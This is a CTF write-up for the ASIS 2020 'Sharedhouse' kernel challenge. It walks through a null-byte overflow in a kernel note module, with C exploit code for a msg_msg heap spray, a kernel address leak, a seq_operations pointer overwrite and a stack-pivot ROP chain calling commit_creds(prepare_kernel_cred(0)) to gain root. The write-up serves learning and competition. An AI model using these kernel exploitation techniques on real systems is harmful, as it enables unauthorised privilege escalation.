Sharedhouse - ASIS 2020 Quals

on
9 minute read

In my previous post I used this as an example to show how to start debugging a kernel challenge. Now let’s see how to exploit this challenge. For the writeups that come after this, I will be skipping the last part which is pretty much the same for almost all challenges.

Analysis

As we have seen already, they have given the module inside the rootfs.cpio. Also we have seen that smap and kpti are disabled. This means we can just stack pivot to userspace and execute a rop chain. Let’s open it in ida and see if we can find the bug.

Looks like it is a kernel heap challenge with 4 options:

  • Add: Creates a chunk.
  • Free: Frees the chunk that was created using add.
  • View: Copies the data in the chunk to user.
  • Edit: Copies data from user to kernel and puts it in the chunk created using add. Bug is in this option.
if ( !note || v4 > size || copy_from_user(note, v5, v4) )
      goto LABEL_10;
*(note + v4) = 0;

We can see that it copies the data and then nulls the next byte. So if we give the data which is same as length given, we get a null byte overflow. Since the kernel uses slab allocater, heap will have pointer to next free chunk. We can use this to get leak as well as get rip.

Kernel leak

Before going into how to leak, let’s write the helper functions.

void op(){
    fd = open("/dev/note",O_RDWR);
    if(fd<0){
        perror("Open");
    }
}


void add(ulong size){
    req q;
    q.size = size;
    int ret = ioctl(fd,ADD,&q);
    if(ret<0){
        perror("Add");
    }
}

void rm(){
    req q;
    int ret = ioctl(fd,RM,&q);
    if(ret<0){
        perror("rm");
    }
}

void edit(ulong size, char * buf){
    req q;
    q.size = size;
    q.buf = buf;
    int ret = ioctl(fd,EDIT,&q);
    if(ret<0){
        perror("Edit");
    }
}

void view(ulong size, char * buf){
    req q;
    q.size = size;
    q.buf = buf;
    int ret = ioctl(fd, VIEW, &q);
    if(ret<0){
        perror("View");
    }
}

Now to leak, we will be using the msg_msg strcut. You can find many other useful structs here. We need to setup some things before we can start allocating the msg_msg struct.

struct {
    long mtype;
    char mtext[0x80];
} msgbuf;


if ((qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) {
    perror("msgget");
    return -1;
}
msgbuf.mtype = 1 ;
memset(msgbuf.mtext, 'A', sizeof(msgbuf.mtext));

After this, we spray the heap to remove the chunks that might be in the middle of some other things. Heap will not be contiguous. So we have to make it contiguous using the spray.

for(int i = 0; i < 0xf; i++) {
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) {
        perror("msgsnd");
        return -1;
    }
}

Note that here our msg_msg struct size will be 0x80. Depending on the size of the struct, our spray number will change. Our next allocated chunk will be this:

0xffff88800e777080:	0x0000000000000000	0x0000000000000000
0xffff88800e777090:	0x0000000000000000	0x0000000000000000
0xffff88800e7770a0:	0x0000000000000000	0x0000000000000000
0xffff88800e7770b0:	0x0000000000000000	0x0000000000000000
0xffff88800e7770c0:	0x0000000000000000	0x0000000000000000
0xffff88800e7770d0:	0x0000000000000000	0x0000000000000000
0xffff88800e7770e0:	0x0000000000000000	0x0000000000000000
0xffff88800e7770f0:	0x0000000000000000	0x0000000000000000
0xffff88800e777100:	0xffff88800e777180	0x0000000000000000
0xffff88800e777110:	0x0000000000000000	0x0000000000000000
0xffff88800e777120:	0x0000000000000000	0x0000000000000000
0xffff88800e777130:	0x0000000000000000	0x0000000000000000
0xffff88800e777140:	0x0000000000000000	0x0000000000000000
0xffff88800e777150:	0x0000000000000000	0x0000000000000000
0xffff88800e777160:	0x0000000000000000	0x0000000000000000
0xffff88800e777170:	0x0000000000000000	0x0000000000000000
0xffff88800e777180:	0xffff88800e777200	0x0000000000000000

In this, 0xffff88800e777100 is the next free chunk. So if we overflow into that, it will make the chunk point to itself.

add(0x80);
edit(0x80, (void*)buf);
rm();

We are removing the chunk because when we add, if there is already a chunk, it will free causing issue later on. After this we have to remove the chunk that we freed now since it will be in top on the freelist. For this, we use msg_msg again.

if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 48, 0) == -1) {
    perror("msgsnd");
    return -1;
}

Now the next two allocations of size 0x80 will return the same chunk. To get the leak, we can use any struct of size 0x80. Here we will be using subprocess_info. You can find the struct here.

add(0x80);
int pd = socket ( 22 , AF_INET, 0 );
view(0x80,(void *)buf);
ulong base = buf[3]-0x60160;
printf("base @ %p",(void *)base);
rm();

We will be using the same bug to get rip control.

RIP

Overwriting a pointer in any struct that can be invoked can give us rip. Since there is no smap or kpti, we can just stack pivot and execute rop of commit_creds(prepare_kernel_cred(0)).

To get rip, we will be using another struct: seq_operations.


struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

We will be overwriting all the pointers in this. To get the struct, we open /proc/self/stat and to invoke the pointer, we call read on the opened file. As before, we have to spray heap till the memory is contiguous. After that we invoke the null byte overflow.

for(int i=0;i<0x89;i++){
    open("/proc/self/stat",O_RDONLY);
}
add(0x20);
edit(0x20,(void * )buf);
rm();
open("/proc/self/stat",O_RDONLY);
add(0x20);
int ufd = open("/proc/self/stat",O_RDONLY);

If we now edit the chunk, we get write on the last opened file. We can confirm this by overwriting pointers with junk and the kernel will crash.

Now it’s time to make the rop chain. We need to find a gadget that can be used to pivot to userspace. I found this mov esp,0x83c389c0 ; ret in the kernel. We can mmap a memory in that range and use that. Now we need to find gadgets that can set registers properly. If you have done rop in userspace, this is pretty much the same. To get the offset to the functions, we can use /proc/kallsyms. You can read this to understand the rest of the rop chain. After this we edit the chunk and call on the opened file.

buf[0]=mov_rsp;
buf[1]=mov_rsp;
buf[2]=mov_rsp;
buf[3]=mov_rsp;
edit(0x20,(void*)buf);
read(ufd,buf,1);*

You can find the full exploit here.

Conclusion

I have not explained everything that was done. I have given links to blogs that I used to learn. Also this exploit was heavily inspired by this.

kernel, ctf, asis 2020